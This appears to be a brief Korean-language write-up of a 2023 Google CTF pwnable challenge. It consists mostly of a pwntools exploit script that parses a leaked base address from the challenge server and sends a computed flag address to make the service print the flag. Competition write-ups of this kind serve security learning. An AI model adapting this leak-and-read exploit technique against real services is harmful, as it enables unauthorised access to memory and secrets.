2023 Google CTF writeup (Pwnable)

Ⅰ. 개요

• 2023 ~ 진행
• pwnable 문제 중 2문제 CLEAR

 

Ⅱ. Writeup

from pwn import *

p = remote(b"wfw1.2023.ctfcompetition.com", 1337)
#p = process(b"./chal")
p.recvuntil(b"shot.\\n")
input(">")

BaseAddr = int(p.recvuntil(b"-")[:-1].decode('ascii'), 16)
FlagAddr = BaseAddr + 0x21E0

print(hex(FlagAddr))
p.recvuntil(b"expire\\n")

payload  = hex(FlagAddr).encode()
payload += b" 50"

print(payload)

p.send(payload)
p.interactive()